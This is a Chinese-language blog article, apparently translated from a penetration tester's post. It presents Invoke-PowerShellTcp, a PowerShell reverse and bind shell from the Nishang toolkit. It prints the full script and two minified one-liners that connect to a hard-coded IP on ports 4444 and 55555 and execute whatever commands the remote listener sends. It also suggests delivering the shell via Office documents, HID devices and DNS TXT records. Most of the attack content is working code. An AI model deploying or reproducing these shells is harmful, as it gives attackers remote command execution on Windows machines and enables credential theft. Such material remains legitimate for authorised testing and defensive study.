一周PowerShell脚本Day 1:TCP交互式PowerShell脚本

摘要

PowerShell作为渗透测试人员的常用工具这里在无需过多介绍。随着Windows系统的紧密集成,这就允许我们做各种有趣的事情,其他使用PowerShell的黑客和我都花了很多时间在PowerShell编程上面。

PowerShell作为渗透测试人员的常用工具这里在无需过多介绍。随着Windows系统的紧密集成,这就允许我们做各种有趣的事情,其他使用PowerShell的黑客和我都花了很多时间在PowerShell编程上面。

但在我的讲座和培训期间,我发现很多的黑客和防御者都不知道PowerShell能做什么以及PowerShell是多么的方便。同时我也遇到了很多同行对PowerShell不屑一顾,只因为其来自于微软。为了在业内培养和传播PowerShell,我决定开始一周PowerShell脚本的教程。

第一天 - TCP交互式PowerShell脚本 第二天 - UDP交互式PowerShell脚本  第三天 - HTTP/HTTPS交互式PowerShell脚本  第四天 - WMI交互式PowerShell脚本  第五天 - ICMP和DNS交互式PowerShell脚本

不多说,开始第一天的课程吧。

第一天:TCP交互式PowerShell脚本

让我们从一个反向shell开始。这个极棒的脚本是由Ben Turner(@benpturner)和Dave Hardy(@davehardy20)提交的。具体如何通过metasploit来使用这段脚本他们的文章有具体描述。在去除那段脚本中一些代码并修改其他若干东西后,就是我所提供的Invoke-PowerShellTcp。这个脚本可以提供主动或者被动连接的PowerShell。当前源码如下(不包含帮助文档):

function Invoke-PowerShellTcp  {       [CmdletBinding(DefaultParameterSetName="reverse")] Param(          [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]         [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]         [String]         $IPAddress,        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]         [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]         [Int]         $Port,        [Parameter(ParameterSetName="reverse")]         [Switch]         $Reverse,        [Parameter(ParameterSetName="bind")]         [Switch]         $Bind      )      #Connect back if the reverse switch is used.     if ($Reverse)     {         $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)     }      #Bind to the provided port if Bind switch is used.     if ($Bind)     {         $listener = [System.Net.Sockets.TcpListener]$Port         $listener.start()             $client = $listener.AcceptTcpClient()     }       $stream = $client.GetStream()     [byte[]]$bytes = 0..255|%{0}      #Send back current username and computername     $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")     $stream.Write($sendbytes,0,$sendbytes.Length)      #Show an interactive PowerShell prompt     $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')     $stream.Write($sendbytes,0,$sendbytes.Length)      while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)     {         $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding        $data = $EncodedText.GetString($bytes,0, $i)          #Execute the command on the target.         $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )          $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '         $x = ($error[0] | Out-String)         $error.clear()         $sendback2 = $sendback2 + $x          #Return the results         $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)         $stream.Write($sendbyte,0,$sendbyte.Length)         $stream.Flush()       }     $client.Close()     $listener.Stop()}

你可以在Nishang的Shells目录下找到:https://github.com/samratashok/nishang/tree/master/Shells

下面截图展示在Kali Linux上面运行一个监听:

一周PowerShell脚本Day 1:TCP交互式PowerShell脚本

在Windows的机器上同样可以运行一个监听,使用powercat即可:

一周PowerShell脚本Day 1:TCP交互式PowerShell脚本

使用Invoke-PowerShellTcp进行主动连接:

一周PowerShell脚本Day 1:TCP交互式PowerShell脚本

使用交互式PowerShell可以在很多场合下帮助我们解决问题。一个很好的例子就是,在Windows8.1和Server 2012上面获取用户明文密码。这种情况下,我们必须要使用交互式的PowerShell。

注意,我们同样可以使用powercat。

一周PowerShell脚本Day 1:TCP交互式PowerShell脚本

具体选择使用哪个监听取决于你的情况。

如果你有仔细看过Invoke-PowerShellTcp的源码,你会发现源码还算比较短的,因此可以配合其他多种攻击技术使用,例如:配合微软MS Office文档、个性化界面设备(参见Kautilya)、需要下载的设备和DNS TXT记录等使用。在这些场景中使用一个短小的脚本都是不错的选择。事实上,如果去除错误处理以及格式化的用户输入代码,它还能变的更短。就是下面这段Invoke-PowerShellTcpOneLine:

$client = New-Object System.Net.Sockets.TCPClient("192.168.254.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

如果不需要显示输出,那么脚本还可以更短,差不多跟两条微博一样长:

#$sm=(New-Object Net.Sockets.TCPClient("192.168.254.1",55555)).GetStream();[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

下面我录制了一个视频,演示Invoke-PowerShellTcp是如何配合微软MS Office文档使用的:

*原文:labofapenetrationtester ,FB小编xiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: